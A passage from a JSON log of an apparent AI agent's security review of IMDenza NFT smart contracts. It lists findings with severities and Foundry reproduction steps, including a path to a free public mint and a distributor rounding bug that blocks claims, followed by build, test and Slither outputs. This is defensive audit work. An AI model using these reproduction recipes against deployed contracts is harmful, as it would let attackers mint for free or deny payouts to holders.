1e18-3 < 1e18+3, panic 0x11) although holder 3 is owed ~1 ETH and the contract holds 1e18-2 wei. Expected: every holder can claim its share and sum(pending) <= balance at all times. See proof test test/scratch/DistributorDust.t.sol (fails on the first invariant assertion: pending 6 > balance 4).","severity":"medium","snippet":"        uint256 perToken = (unattributed * PRECISION) / minted;\n        uint256 attributed = (perToken * minted) / PRECISION;\n        uint256 acc = accPerToken[asset] + perToken;\n        accPerToken[asset] = acc;\n        // Dust below one acc unit per token stays unattributed and joins the next distribution.\n        reserved[asset] += attributed;","title":"distribute() double-counts rounding dust: accumulator credits more than received, last claimer's whole claim reverts"},{"citation":"resolved","description":"Boundary x precision at the ERC-20 decimals boundary. The price is `69 * 10**decimals / 1000` with integer division. IMD token A is live with 18 decimals (verified on mainnet), so for A the price is exactly 6.9e16. IMD token B (0x5F7B...7127) has no code on mainnet today and is only 'checked on use', so its `decimals()` is whatever gets deployed there. With decimals = 2 the price truncates to 6 units (0.06 IMD, 13% under the 0.069 brief price); with decimals 0 or 1 it truncates to 0, `safeTransferFrom(msg.sender, this, 0)` succeeds without any balance or approval, and the whole public phase is free with 0 proceeds to holders and treasury. Separately, `_balanceAboveWhole` computes `IMD_HOLDING_WHOLE * 10 ** _decimals(token)` with checked arithmetic: for decimals >= 78, 10**decimals overflows uint256 and reverts, and because `_holdsImd` evaluates B whenever A is below the threshold, `claimWithImd()` and `holdsImd()` revert for every wallet that does not already qualify through A. `_decimals` also trusts any 32-byte return value (e.g. a return of 200 is accepted). This is a trust assumption on whoever deploys at the token-B address rather than an attacker path (the address cannot be chosen by a third party), so it is reported as low; a minimal hardening is to bound decimals (e.g. revert in mintPrice/_balanceAboveWhole when decimals < 3 or > 36) or to pin token B's expected decimals.","line":251,"path":"src/IMDenza.sol","reproduction":"In a Foundry test: etch MockERC20(\"IMD\",\"IMD\",2) at nft.IMD_TOKEN_B() -> nft.mintPrice(B) == 6 (expected 69 * 10**2 / 1000 = 6.9 -> brief price not representable, contract charges 0.06). Etch MockERC20 with decimals 0 -> nft.mintPrice(B) == 0; vm.prank(alice) (no balance, no approval); nft.mint(B) succeeds and returns token id 1: a free public mint, ProceedsSplit(B, 0, 0). Etch MockERC20 with decimals 78 -> nft.holdsImd(alice) and nft.claimWithImd() revert with Panic(0x11). Verified with a scratch test; expected behaviour is a price of 0.069 IMD for any supported token and a holding check that does not revert.","severity":"low","snippet":"        return MINT_PRICE_MILLI * 10 ** _decimals(paymentToken) / 1000;","title":"mintPrice()/holding check assume 3 <= decimals <= 77: a second IMD token with 0-2 decimals makes the public mint free or underpriced, >77 bricks claimWithImd"},{"citation":"resolved","description":"Pure rounding note on the live 'pulse' that drives animation speed, breathing amplitude and saturation. 1_000_000 / 7200 = 138.88 floors to 138, so 7200 blocks only remove 993,600 of 1,000,000 and `pulse()` reads 6,400 (pulseInfluence 0, thickVar 6, speed 100 - still non-zero) until block 7247. No value or composition impact; only the comment ('returns to idle in ~7200 blocks') and the trait's time constant are slightly off.","line":25,"path":"src/SwarmHistory.sol","reproduction":"recordJob 10 times in one block (pulse saturates at 1_000_000), vm.roll(+7200): pulse() returns 6400 instead of 0; vm.roll(+7247): pulse() returns 0.","severity":"info","snippet":"    uint256 public constant PULSE_DECAY_PER_BLOCK = PULSE_MAX / 7200;","title":"PULSE_DECAY_PER_BLOCK floors to 138: a saturated pulse decays in 7247 blocks, not the documented 7200"}],"hash":"ebc0e272e0eee0ea0934015bdb3197753f67d8d2e6a4d2888c9391569b55060a","nodeId":"f9049659-ecc3-44b6-aeff-4546d92418a4","outcome":"completed","summary":"Review complete. The findings file is written and validated, both proofs fail on the current code and pass once the minimal fixes are applied.\n\n**What I found (4 findings, all in `.imd-findings.json`)**\n\n1. **High. Density trait can be bucket 3, which makes `svg()` and `tokenURI()` panic forever.** The biased trait value ranges 0..119, but the density thresholds treat 111 as unreachable. Any piece whose seed byte 2 plus entropy bias reaches 111 gets density 3, and the renderer indexes two 3-element tables with it. Minting never renders, so such tokens mint fine and are then permanently un-renderable. Measured on 20,000 random pieces, about 1.8% are hit, roughly 55 to 60 of the 3,333. It only shows once the swarm ledger has non-zero entropy, which is why the existing fuzz test with a fresh ledger never saw it. Proof: `test/scratch/DensityBucket.t.sol`.\n\n2. **Medium. Distributor double-counts rounding dust, so the last claimer's whole claim reverts.** `distribute` credits every token `U*1e18/minted` acc units but reserves only the floored total. The 1 wei of dust stays \"unattributed\" and is counted again next time, so the accumulator ends up promising more than the contract holds. Four 1-wei distributions over 3 tokens already yield pending 6 wei against a 4 wei balance. After a later 3 ETH distribution, the third holder's full 1 ETH claim reverts on the reserved underflow. Proof: `test/scratch/DistributorDust.t.sol`.\n\n3. **Low. Price and holding math assume the second IMD token has 3 to 77 decimals.** That address has no code on mainnet. With 2 decimals the price truncates to 0.06 IMD, with 0 or 1 decimals it becomes zero and `mint` succeeds with no balance or approval, and with 78 or more decimals `claimWithImd` reverts for every wallet. Reported as a trust assumption on whoever deploys there.\n\n4. **Info. Pulse decay constant floors to 138,** so a saturated pulse reaches idle at block 7247 rather than the documented 7200.\n\n**Coverage.** All 18 listed entry points have rows, plus rows for the renderer views, the field renderer's bounds, and two invariants. I verified the field's lattice indexing for all five cell sizes, grid cell ranges, SVG buffer sizing, sine and angle ranges, and all divisors. Slither's distributor leads on uninitialized state and strict equality are false positives. I did not review the ERC721C transfer validator integration or access control beyond noting they carry no arithmetic.\n\nNo repository files were modified. Only `test/scratch/` tests and `.imd-findings.json` were written.","treeHash":null,"usage":{"cachedInputTokens":1416308,"inputTokens":418,"model":"claude-fable-5-1","outputTokens":39921,"runtime":"claude","turns":33,"wallClockMs":719160}}],"verification":[{"checks":[{"durationMs":62615,"exitCode":0,"name":"build","output":"Compiling 61 files with Solc 0.8.26\nSolc 0.8.26 finished in 62.49s\nCompiler run successful with warnings:\nWarning (5740): Unreachable code.\n  --> lib/creator-token-standards/src/utils/AutomaticValidatorTransferApproval.sol:30:9:\n   |\n30 |         autoApproveTransfersFromValidator = autoApprove;\n   |         ^ (Relevant source part starts here and spans across multiple lines).\n\nWarning (5740): Unreachable code.\n  --> lib/creator-token-standards/src/utils/CreatorTokenBase.sol:71:9:\n   |\n71 |         bool isValidTransferValidator = transferValidator_.code.length > 0;\n   |         ^ (Relevant source part starts here and spans across multiple lines).\n\nWarning (5740): Unreachable code.\n  --> lib/creator-token-standards/src/utils/CreatorTokenBase.sol:77:9:\n   |\n77 |         emit TransferValidatorUpdated(address(getTransferValidator()), transferValidator_);\n   |         ^ (Relevant source part starts here and spans across multiple lines).\n\n","passed":true},{"durationMs":2376,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 7 tests for test/SwarmHistory.t.sol:SwarmHistoryTest\n[PASS] testFuzz_entropyIsOrderSensitive(bytes32,bytes32) (runs: 64, μ: 1056487, ~: 1056974)\n[PASS] test_batchRecordsInOrderAndRejectsMismatch() (gas: 934214)\n[PASS] test_duplicateJobIdReverts() (gas: 371820)\n[PASS] test_invalidInputsRevert() (gas: 104859)\n[PASS] test_pulseDecaysAndSaturates() (gas: 2573658)\n[PASS] test_recordUpdatesEntropyCountersAndPulse() (gas: 422250)\n[PASS] test_typeProfileCapsAt255AndFoundationalDigestsAreLimited() (gas: 3954805)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 10.36ms (12.65ms CPU time)\n\nRan 9 tests for test/IMDenzaDistributor.t.sol:IMDenzaDistributorTest\n[PASS] testFuzz_conservation(uint8,uint64[4]) (runs: 64, μ: 1536681, ~: 1132397)\n[PASS] test_claimRequiresSingleOwnerAndNonEmptyList() (gas: 1064816)\n[PASS] test_distributeRevertsWithoutTokensOrValue() (gas: 605035)\n[PASS] test_erc20RoyaltiesAndMintProceeds() (gas: 2062211)\n[PASS] test_ethRoyaltiesSplitEquallyAndLaterMintsDoNotShareEarlierValue() (gas: 1680057)\n[PASS] test_pendingIsZeroForUnknownTokens() (gas: 564422)\n[PASS] test_reentrantClaimIsRejected() (gas: 1158391)\n[PASS] test_rejectingReceiverOnlyBlocksItsOwnClaim() (gas: 1141719)\n[PASS] test_unclaimedValueTravelsWithTheToken() (gas: 704249)\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 45.02ms (48.02ms CPU time)\n\nRan 27 tests for test/IMDenza.t.sol:IMDenzaTest\n[PASS] test_applyPolicyRevertsWhenValidatorHasNoCode() (gas: 367825)\n[PASS] test_constructorRejectsZeroAddresses() (gas: 8870)\n[PASS] test_constructorsSucceedOnAnEmptyChain() (gas: 19197)\n[PASS] test_deploymentWiring() (gas: 68609)\n[PASS] test_eachRouteIsIndependentPerWallet() (gas: 1030543)\n[PASS] test_failedClaimDoesNotConsumeTheWalletsClaim() (gas: 74092)\n[PASS] test_fidenzaClaimChecksProjectOwnershipAndReuse() (gas: 709440)\n[PASS] test_identityClaimRevertsUntilConfigured() (gas: 114776)\n[PASS] test_identityClaimSuccessAndLimits() (gas: 1063942)\n[PASS] test_identityCollectionIsOneShotAndConfiguratorOnly() (gas: 150352)\n[PASS] test_imdClaimCountsSecondTokenWhenItHasCode() (gas: 1083272)\n[PASS] test_imdClaimRequiresMoreThan25() (gas: 552136)\n[PASS] test_lastPieceMintsThenSoldOut() (gas: 643500)\n[PASS] test_mintPriceFollowsTokenDecimals() (gas: 694600)\n[PASS] test_mintProceedsWhenValidatorRejectsPolicyAndExplicitCallReverts() (gas: 542775)\n[PASS] test_noOwnerPowers() (gas: 55015)\n[PASS] test_policyAppliedOnFirstMintWithFixedParameters() (gas: 475027)\n[PASS] test_publicMintRevertsWithoutApprovalOrFunds() (gas: 126902)\n[PASS] test_publicMintSplitsProceeds90_10() (gas: 666135)\n[PASS] test_reusedTokenHashIsRehashed() (gas: 573478)\n[PASS] test_royaltyInfo() (gas: 8766)\n[PASS] test_soldOutStopsEveryRoute() (gas: 449919)\n[PASS] test_swarmSnapshotIsFrozenAtMint() (gas: 1480301)\n[PASS] test_tokenUriAndTraits() (gas: 49944022)\n[PASS] test_tokensMintedInSameBlockAreUnique() (gas: 1302365)\n[PASS] test_transfersGoThroughValidator() (gas: 703518)\n[PASS] test_viewsRevertForNonexistentToken() (gas: 38807)\nSuite result: ok. 27 passed; 0 failed; 0 skipped; finished in 122.75ms (131.35ms CPU time)\n\nRan 8 tests for test/IMDenzaRenderer.t.sol:IMDenzaRendererTest\n[PASS] testFuzz_everyTokenRenders(uint256,bytes32) (runs: 64, μ: 15783556, ~: 13752205)\n[PASS] testFuzz_fieldRendersForAnySeed(bytes32,uint8) (runs: 64, μ: 8367859, ~: 7593908)\n[PASS] test_deterministicForSamePiece() (gas: 76939939)\n[PASS] test_fieldRejectsBadInputs() (gas: 26221)\n[PASS] test_pulseChangesAnimationOnlyNotComposition() (gas: 50898415)\n[PASS] test_rendererRejectsZeroAddresses() (gas: 6495)\n[PASS] test_swarmHistoryModulatesLaterPieces() (gas: 7575315)\n[PASS] test_tokenIdAloneChangesTheComposition() (gas: 47457610)\nSuite result: ok. 8 passed; 0 failed; 0 skipped; finished in 2.24s (4.07s CPU time)\n\nRan 4 test suites in 2.24s (2.42s CPU time): 51 tests passed, 0 failed, 0 skipped (51 total tests)\n","passed":true},{"durationMs":93,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"IMDenza.applyTransferPolicy()\",\"IMDenza.approve(address,uint256)\",\"IMDenza.claimWithFidenza(uint256)\",\"IMDenza.claimWithIdentityMd(uint256)\",\"IMDenza.claimWithImd()\",\"IMDenza.mint(address)\",\"IMDenza.safeTransferFrom(address,address,uint256)\",\"IMDenza.safeTransferFrom(address,address,uint256,bytes)\",\"IMDenza.setApprovalForAll(address,bool)\",\"IMDenza.setAutomaticApprovalOfTransfersFromValidator(bool)\",\"IMDenza.setIdentityMdCollection(address)\",\"IMDenza.setTransferValidator(address)\",\"IMDenza.transferFrom(address,address,uint256)\",\"IMDenzaDistributor.claim(address,uint256[])\",\"IMDenzaDistributor.distribute(address)\",\"IMDenzaDistributor.receive()\",\"SwarmHistory.recordJob(bytes32,uint8,uint16,uint8,uint40)\",\"SwarmHistory.recordJobs(bytes32[],uint8[],uint16[],uint8[],uint40[])\"],\"files\":{\".gitignore\":4,\"README.md\":165,\"foundry.toml\":22,\"launch.json\":29,\"remappings.txt\":4,\"script/Deploy.s.sol\":39,\"src/IMDenza.sol\":359,\"src/IMDenzaDistributor.sol\":152,\"src/IMDenzaField.sol\":396,\"src/IMDenzaRenderer.sol\":421,\"src/SwarmHistory.sol\":232,\"test/Base.t.sol\":76,\"test/IMDenza.t.sol\":419,\"test/IMDenzaDistributor.t.sol\":179,\"test/IMDenzaRenderer.t.sol\":130,\"test/SwarmHistory.t.sol\":121,\"test/mocks/Mocks.sol\":114},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"0c4527bb87aa481ed85ce03f1c19de85f2bcc1ff36bc807e6ca9b02c0280e2aa","verifiedTreeHash":"c7051a3c6a3a1fbcdad50b112e09e173e2266d40","verifierVersion":"0.1.0+d952fceb"},{"checks":[{"durationMs":37868,"exitCode":0,"name":"build","output":"Compiling 61 files with Solc 0.8.26\nSolc 0.8.26 finished in 37.77s\nCompiler run successful with warnings:\nWarning (5740): Unreachable code.\n  --> lib/creator-token-standards/src/utils/AutomaticValidatorTransferApproval.sol:30:9:\n   |\n30 |         autoApproveTransfersFromValidator = autoApprove;\n   |         ^ (Relevant source part starts here and spans across multiple lines).\n\nWarning (5740): Unreachable code.\n  --> lib/creator-token-standards/src/utils/CreatorTokenBase.sol:71:9:\n   |\n71 |         bool isValidTransferValidator = transferValidator_.code.length > 0;\n   |         ^ (Relevant source part starts here and spans across multiple lines).\n\nWarning (5740): Unreachable code.\n  --> lib/creator-token-standards/src/utils/CreatorTokenBase.sol:77:9:\n   |\n77 |         emit TransferValidatorUpdated(address(getTransferValidator()), transferValidator_);\n   |         ^ (Relevant source part starts here and spans across multiple lines).\n\n","passed":true},{"durationMs":1699,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 7 tests for test/SwarmHistory.t.sol:SwarmHistoryTest\n[PASS] testFuzz_entropyIsOrderSensitive(bytes32,bytes32) (runs: 64, μ: 1056487, ~: 1056974)\n[PASS] test_batchRecordsInOrderAndRejectsMismatch() (gas: 934214)\n[PASS] test_duplicateJobIdReverts() (gas: 371820)\n[PASS] test_invalidInputsRevert() (gas: 104859)\n[PASS] test_pulseDecaysAndSaturates() (gas: 2573658)\n[PASS] test_recordUpdatesEntropyCountersAndPulse() (gas: 422250)\n[PASS] test_typeProfileCapsAt255AndFoundationalDigestsAreLimited() (gas: 3954805)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 8.21ms (10.11ms CPU time)\n\nRan 9 tests for test/IMDenzaDistributor.t.sol:IMDenzaDistributorTest\n[PASS] testFuzz_conservation(uint8,uint64[4]) (runs: 64, μ: 1536681, ~: 1132397)\n[PASS] test_claimRequiresSingleOwnerAndNonEmptyList() (gas: 1064816)\n[PASS] test_distributeRevertsWithoutTokensOrValue() (gas: 605035)\n[PASS] test_erc20RoyaltiesAndMintProceeds() (gas: 2062211)\n[PASS] test_ethRoyaltiesSplitEquallyAndLaterMintsDoNotShareEarlierValue() (gas: 1680057)\n[PASS] test_pendingIsZeroForUnknownTokens() (gas: 564422)\n[PASS] test_reentrantClaimIsRejected() (gas: 1158391)\n[PASS] test_rejectingReceiverOnlyBlocksItsOwnClaim() (gas: 1141719)\n[PASS] test_unclaimedValueTravelsWithTheToken() (gas: 704249)\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 31.78ms (34.18ms CPU time)\n\nRan 27 tests for test/IMDenza.t.sol:IMDenzaTest\n[PASS] test_applyPolicyRevertsWhenValidatorHasNoCode() (gas: 367825)\n[PASS] test_constructorRejectsZeroAddresses() (gas: 8870)\n[PASS] test_constructorsSucceedOnAnEmptyChain() (gas: 19197)\n[PASS] test_deploymentWiring() (gas: 68609)\n[PASS] test_eachRouteIsIndependentPerWallet() (gas: 1030543)\n[PASS] test_failedClaimDoesNotConsumeTheWalletsClaim() (gas: 74092)\n[PASS] test_fidenzaClaimChecksProjectOwnershipAndReuse() (gas: 709440)\n[PASS] test_identityClaimRevertsUntilConfigured() (gas: 114776)\n[PASS] test_identityClaimSuccessAndLimits() (gas: 1063942)\n[PASS] test_identityCollectionIsOneShotAndConfiguratorOnly() (gas: 150352)\n[PASS] test_imdClaimCountsSecondTokenWhenItHasCode() (gas: 1083272)\n[PASS] test_imdClaimRequiresMoreThan25() (gas: 552136)\n[PASS] test_lastPieceMintsThenSoldOut() (gas: 643500)\n[PASS] test_mintPriceFollowsTokenDecimals() (gas: 694600)\n[PASS] test_mintProceedsWhenValidatorRejectsPolicyAndExplicitCallReverts() (gas: 542775)\n[PASS] test_noOwnerPowers() (gas: 55015)\n[PASS] test_policyAppliedOnFirstMintWithFixedParameters() (gas: 475027)\n[PASS] test_publicMintRevertsWithoutApprovalOrFunds() (gas: 126902)\n[PASS] test_publicMintSplitsProceeds90_10() (gas: 666135)\n[PASS] test_reusedTokenHashIsRehashed() (gas: 573478)\n[PASS] test_royaltyInfo() (gas: 8766)\n[PASS] test_soldOutStopsEveryRoute() (gas: 449919)\n[PASS] test_swarmSnapshotIsFrozenAtMint() (gas: 1480301)\n[PASS] test_tokenUriAndTraits() (gas: 49944022)\n[PASS] test_tokensMintedInSameBlockAreUnique() (gas: 1302365)\n[PASS] test_transfersGoThroughValidator() (gas: 703518)\n[PASS] test_viewsRevertForNonexistentToken() (gas: 38807)\nSuite result: ok. 27 passed; 0 failed; 0 skipped; finished in 108.45ms (115.85ms CPU time)\n\nRan 8 tests for test/IMDenzaRenderer.t.sol:IMDenzaRendererTest\n[PASS] testFuzz_everyTokenRenders(uint256,bytes32) (runs: 64, μ: 15783556, ~: 13752205)\n[PASS] testFuzz_fieldRendersForAnySeed(bytes32,uint8) (runs: 64, μ: 8367859, ~: 7593908)\n[PASS] test_deterministicForSamePiece() (gas: 76939939)\n[PASS] test_fieldRejectsBadInputs() (gas: 26221)\n[PASS] test_pulseChangesAnimationOnlyNotComposition() (gas: 50898415)\n[PASS] test_rendererRejectsZeroAddresses() (gas: 6495)\n[PASS] test_swarmHistoryModulatesLaterPieces() (gas: 7575315)\n[PASS] test_tokenIdAloneChangesTheComposition() (gas: 47457610)\nSuite result: ok. 8 passed; 0 failed; 0 skipped; finished in 1.60s (2.81s CPU time)\n\nRan 4 test suites in 1.60s (1.74s CPU time): 51 tests passed, 0 failed, 0 skipped (51 total tests)\n","passed":true},{"durationMs":45,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"IMDenza.applyTransferPolicy()\",\"IMDenza.approve(address,uint256)\",\"IMDenza.claimWithFidenza(uint256)\",\"IMDenza.claimWithIdentityMd(uint256)\",\"IMDenza.claimWithImd()\",\"IMDenza.mint(address)\",\"IMDenza.safeTransferFrom(address,address,uint256)\",\"IMDenza.safeTransferFrom(address,address,uint256,bytes)\",\"IMDenza.setApprovalForAll(address,bool)\",\"IMDenza.setAutomaticApprovalOfTransfersFromValidator(bool)\",\"IMDenza.setIdentityMdCollection(address)\",\"IMDenza.setTransferValidator(address)\",\"IMDenza.transferFrom(address,address,uint256)\",\"IMDenzaDistributor.claim(address,uint256[])\",\"IMDenzaDistributor.distribute(address)\",\"IMDenzaDistributor.receive()\",\"SwarmHistory.recordJob(bytes32,uint8,uint16,uint8,uint40)\",\"SwarmHistory.recordJobs(bytes32[],uint8[],uint16[],uint8[],uint40[])\"],\"files\":{\".gitignore\":4,\"README.md\":165,\"foundry.toml\":22,\"remappings.txt\":4,\"script/Deploy.s.sol\":39,\"src/IMDenza.sol\":359,\"src/IMDenzaDistributor.sol\":152,\"src/IMDenzaField.sol\":396,\"src/IMDenzaRenderer.sol\":421,\"src/SwarmHistory.sol\":232,\"test/Base.t.sol\":76,\"test/IMDenza.t.sol\":419,\"test/IMDenzaDistributor.t.sol\":179,\"test/IMDenzaRenderer.t.sol\":130,\"test/SwarmHistory.t.sol\":121,\"test/mocks/Mocks.sol\":114},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true},{"durationMs":7626,"exitCode":0,"name":"slither","output":"[high/medium] arbitrary-send-eth at src/IMDenzaDistributor.sol:94: IMDenzaDistributor.claim(address,uint256[]) (src/IMDenzaDistributor.sol#94-119) sends eth to arbitrary user\n[high/high] uninitialized-state at src/IMDenzaDistributor.sol:68: IMDenzaDistributor._checkpoints (src/IMDenzaDistributor.sol#54) is never initialized. It is used in:\n[medium/medium] divide-before-multiply at src/IMDenzaDistributor.sol:68: IMDenzaDistributor.distribute(address) (src/IMDenzaDistributor.sol#68-90) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/IMDenzaField.sol:105: IMDenzaField._noise(IMDenzaField.Ctx,uint256,int256,int256) (src/IMDenzaField.sol#105-130) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/IMDenzaField.sol:105: IMDenzaField._noise(IMDenzaField.Ctx,uint256,int256,int256) (src/IMDenzaField.sol#105-130) performs a multiplication on the result of a division:\n[medium/high] incorrect-equality at src/IMDenzaDistributor.sol:68: IMDenzaDistributor.distribute(address) (src/IMDenzaDistributor.sol#68-90) uses a dangerous strict equality:\n[medium/medium] uninitialized-local at src/IMDenzaDistributor.sol:142: IMDenzaDistributor._accBefore(address,uint256).lo (src/IMDenzaDistributor.sol#142) is a local variable never initialized\n[medium/medium] uninitialized-local at src/IMDenzaField.sol:68: IMDenzaField.render(IMDenzaField.Params,bytes).c (src/IMDenzaField.sol#68) is a local variable never initialized\n[medium/medium] uninitialized-local at src/IMDenzaRenderer.sol:227: IMDenzaRenderer._accents(IMDenzaRenderer.Piece,IMDenzaRenderer.Traits).k (src/IMDenzaRenderer.sol#227) is a local variable never initialized\n[medium/medium] uninitialized-local at src/IMDenzaDistributor.sol:98: IMDenzaDistributor.claim(address,uint256[]).totalAccUnits (src/IMDenzaDistributor.sol#98) is a local variable never initialized\n[medium/medium] unused-return at src/IMDenzaRenderer.sol:143: IMDenzaRenderer.svg(IMDenzaRenderer.Piece) (src/IMDenzaRenderer.sol#143-147) ignores return value by (defs,uses,None) = field.render(_params(t),_palette(t.palette)) (src/IMDenzaRenderer.sol#145)\n[low/medium] calls-loop at src/IMDenzaDistributor.sol:94: IMDenzaDistributor.claim(address,uint256[]) (src/IMDenzaDistributor.sol#94-119) has external calls inside a loop: i != 0 && nft.ownerOf(id) != to (src/IMDenzaDistributor.sol#101)\n[low/medium] reentrancy-benign at src/IMDenza.sol:156: Reentrancy in IMDenza._applyTransferPolicy(bool) (src/IMDenza.sol#156-178):\n[low/medium] reentrancy-benign at src/IMDenza.sol:278: Reentrancy in IMDenza._mintTo(address,uint8) (src/IMDenza.sol#278-309):\n[low/medium] reentrancy-events at src/IMDenza.sol:156: Reentrancy in IMDenza._applyTransferPolicy(bool) (src/IMDenza.sol#156-178):\n[low/medium] timestamp at src/SwarmHistory.sol:132: SwarmHistory._record(bytes32,uint8,uint16,uint8,uint40) (src/SwarmHistory.sol#132-174) uses timestamp for comparisons","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"16736081014da80369b22333b36483eebe9b1362bcdc915959d0ad90d66c14f3","verifiedTreeHash":"e1349ece894d62ef6d022a68d1c2bcff0f9750c0","verifierVersion":"0.1.0+d952fceb"},{"checks":[{"durationMs":66276,"exitCode":0,"name":"build","output":"Compiling 64 files with Solc 0.8.26\nSolc 0.8.26 finished in 66.18s\nCompiler run successful with warnings:\nWarning (5740): Unreachable code.\n  --> lib/creator-token-standards/src/utils/AutomaticValidatorTransferApproval.sol:30:9:\n   |\n30 |         autoApproveTransfersFromValidator = autoApprove;\n   |         ^ (Relevant source part starts here and spans across multiple lines).\n\nWarning (5740): Unreachable code.\n  --> lib/creator-token-standards/src/utils/CreatorTokenBase.sol:71:9:\n   |\n71 |         bool isValidTransferValidator = transferValidator_.code.length > 0;\n   |         ^ (Relevant source part starts here and spans across multiple lines).\n\nWarning (5740): Unreachable code.\n  --> lib/creator-token-standards/src/utils/CreatorTokenBase.sol:77:9:\n   |\n77 |         emit TransferValidatorUpdated(address(getTransferValidator()), transferValidator_);\n   |         ^ (Relevant source part starts here and spans across multiple lines).\n\n","passed":true},{"durationMs":1984,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 7 tests for test/SwarmHistory.t.sol:SwarmHistoryTest\n[PASS] testFuzz_entropyIsOrderSensitive(bytes32,bytes32) (runs: 64, μ: 1056528, ~: 1056974)\n[PASS] test_batchRecordsInOrderAndRejectsMismatch() (gas: 934214)\n[PASS] test_duplicateJobIdReverts() (gas: 371820)\n[PASS] test_invalidInputsRevert() (gas: 104859)\n[PASS] test_pulseDecaysAndSaturates() (gas: 2573658)\n[PASS] test_recordUpdatesEntropyCountersAndPulse() (gas: 422250)\n[PASS] test_typeProfileCapsAt255AndFoundationalDigestsAreLimited() (gas: 3954805)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 9.56ms (11.87ms CPU time)\n\nRan 9 tests for test/IMDenzaDistributor.t.sol:IMDenzaDistributorTest\n[PASS] testFuzz_conservation(uint8,uint64[4]) (runs: 64, μ: 1497233, ~: 1129997)\n[PASS] test_claimRequiresSingleOwnerAndNonEmptyList() (gas: 1064816)\n[PASS] test_distributeRevertsWithoutTokensOrValue() (gas: 605035)\n[PASS] test_erc20RoyaltiesAndMintProceeds() (gas: 2062211)\n[PASS] test_ethRoyaltiesSplitEquallyAndLaterMintsDoNotShareEarlierValue() (gas: 1680057)\n[PASS] test_pendingIsZeroForUnknownTokens() (gas: 564422)\n[PASS] test_reentrantClaimIsRejected() (gas: 1158391)\n[PASS] test_rejectingReceiverOnlyBlocksItsOwnClaim() (gas: 1141719)\n[PASS] test_unclaimedValueTravelsWithTheToken() (gas: 704249)\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 43.50ms (45.35ms CPU time)\n\nRan 27 tests for test/IMDenzaEdges.t.sol:IMDenzaEdgesTest\n[PASS] testFuzz_exactAmountsAreFullyClaimable(uint8,uint96) (runs: 64, μ: 1256634, ~: 1023571)\n[PASS] testFuzz_royaltyIsAlways6_9PercentToTheDistributor(uint256,uint256) (runs: 64, μ: 9009, ~: 8945)\n[PASS] testFuzz_swarmPulseNeverExceedsMaxAndDecaysToZero(uint8,uint16) (runs: 64, μ: 2567922, ~: 2026290)\n[PASS] test_claimForUnmintedOrZeroTokenReverts() (gas: 687646)\n[PASS] test_claimWithDuplicateIdsPaysOnce() (gas: 612954)\n[PASS] test_distributeForAssetWithoutCodeReverts() (gas: 431495)\n[PASS] test_distributionBetweenMintsOfOneHolderIsPerToken() (gas: 1310216)\n[PASS] test_distributorHasNoAdminSurface() (gas: 11525)\n[PASS] test_ethReceivedBeforeFirstMintBelongsToTheFirstTokens() (gas: 888242)\n[PASS] test_fidenzaClaimNeedsArtBlocksCodeAndAnExistingToken() (gas: 171457)\n[PASS] test_fidenzaProjectBoundaries() (gas: 952821)\n[PASS] test_holdingIsPointInTimeAndTokenStaysClaimedAfterSelling() (gas: 742382)\n[PASS] test_identityClaimForNonexistentTokenRevertsWithoutSideEffects() (gas: 136305)\n[PASS] test_identityClaimNeedsCollectionCodeAndExistingToken() (gas: 146558)\n[PASS] test_imdClaimFailsWhenNeitherTokenHasCode() (gas: 85919)\n[PASS] test_imdHoldingEitherTokenSuffices() (gas: 893639)\n[PASS] test_imdHoldingUsesEighteenDecimalsWhenDecimalsIsMissing() (gas: 254244)\n[PASS] test_publicMintHasNoPerWalletLimitAndEmitsEvents() (gas: 930904)\n[PASS] test_publicMintSplitsWhatActuallyArrivesWithFeeOnTransferToken() (gas: 1344123)\n[PASS] test_publicMintToContractWithoutReceiverRevertsAndRefunds() (gas: 1014947)\n[PASS] test_reentrancyFromReceiveHookIsBlockedAndSplitStaysCorrect() (gas: 1823807)\n[PASS] test_soldOutRevertsBeforePullingPayment() (gas: 388332)\n[PASS] test_swarmAcceptsBoundaryValuesAndEmptyBatch() (gas: 398950)\n[PASS] test_swarmBatchIsAllOrNothing() (gas: 487970)\n[PASS] test_swarmFullBatchOf200IsAccepted() (gas: 24672627)\n[PASS] test_swarmHistoryChangesTheSeedOfAnOtherwiseIdenticalMint() (gas: 1233734)\n[PASS] test_twoDistributionsAtSameMintedCountMergeIntoOneCheckpoint() (gas: 624293)\nSuite result: ok. 27 passed; 0 failed; 0 skipped; finished in 44.02ms (79.48ms CPU time)\n\nRan 27 tests for test/IMDenza.t.sol:IMDenzaTest\n[PASS] test_applyPolicyRevertsWhenValidatorHasNoCode() (gas: 367825)\n[PASS] test_constructorRejectsZeroAddresses() (gas: 8870)\n[PASS] test_constructorsSucceedOnAnEmptyChain() (gas: 19197)\n[PASS] test_deploymentWiring() (gas: 68609)\n[PASS] test_eachRouteIsIndependentPerWallet() (gas: 1030543)\n[PASS] test_failedClaimDoesNotConsumeTheWalletsClaim() (gas: 74092)\n[PASS] test_fidenzaClaimChecksProjectOwnershipAndReuse() (gas: 709440)\n[PASS] test_identityClaimRevertsUntilConfigured() (gas: 114776)\n[PASS] test_identityClaimSuccessAndLimits() (gas: 1063942)\n[PASS] test_identityCollectionIsOneShotAndConfiguratorOnly() (gas: 150352)\n[PASS] test_imdClaimCountsSecondTokenWhenItHasCode() (gas: 1083272)\n[PASS] test_imdClaimRequiresMoreThan25() (gas: 552136)\n[PASS] test_lastPieceMintsThenSoldOut() (gas: 643500)\n[PASS] test_mintPriceFollowsTokenDecimals() (gas: 